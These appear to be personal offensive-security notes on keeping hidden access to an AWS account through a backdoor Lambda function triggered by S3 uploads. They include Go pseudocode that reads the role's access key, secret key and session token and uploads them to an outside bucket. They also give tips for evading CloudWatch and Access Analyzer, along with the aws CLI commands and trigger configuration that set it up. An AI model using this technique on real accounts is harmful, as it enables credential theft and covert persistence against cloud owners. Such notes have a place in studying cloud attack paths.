- Lambda functions
	- Trigger on a specific event, such as new items being added to an S3 bucket or a CloudWatch event whenever your compromised credentials get rotated.
		- The downside to CloudWatch is that only one lambda is allowed per log group and it is easily visible in the CloudWatch dashboard.
		- S3 dashboard makes it less obvious.
	- Access Analyzer will be concerned by creating new users or granting permissions to foreign users
		- Use something like uploading lambda role credentials to a foreign bucket
- Golang Pseudocode:
```Go
accessKey := fmt.Sprintf(`
	AWS_ACCESS_KEY_ID=%s
	AWS_SECRET_ACCESS_KEY=%s
	AWS_SESSION_TOKEN=%s"`,
		os.Getenv("AWS_ACCESS_KEY_ID"),
		os.Getenv("AWS_SECRET_ACCESS_KEY"),
		os.Getenv("AWS_SESSION_TOKEN"), 
	) 
uploadToS3(s3Client, S3BUCKET, "lambda", accessKey)
```

- Create lambda function
	- `aws lambda create-function --function-name support-metrics-calc --zip-file fileb://function.zip --handler function --runtime go1.x --role <desired_role> --region <region>`
- Create trigger event on upload of file to s3
	- `aws lambda add-permission --function-name <desired_func_name> --region <region> --statement-id <arbitrary_unique_name> --action "lambda:InvokeFunction" --principal s3.amazonaws.com --source-arn arn:aws:s3:::s4d.mxrads.com --source-account <account_id> --profile <profile_name>`
	- Set bucket rule that only triggers events on certain items being uploaded (starting with "2")
		- `aws s3api put-bucket-notification-configuration --region <region> --bucket <bucket_name> --profile <profile_name> --notification-configuration file://config.json`
- Example rule config
```JSON
{
    "LambdaFunctionConfigurations": [{
        "Id": "s3InvokeLambda12",
        "LambdaFunctionArn": "arn:aws:lambda:eu-west-1:886371554408
:function:support-metrics-calc",
        "Events": ["s3:ObjectCreated:*"],
        "Filter": {
            "Key": {
                "FilterRules": [{
                    "Name": "prefix",
                    "Value": "2"
                }]
            }
        }
    }]
}
```

-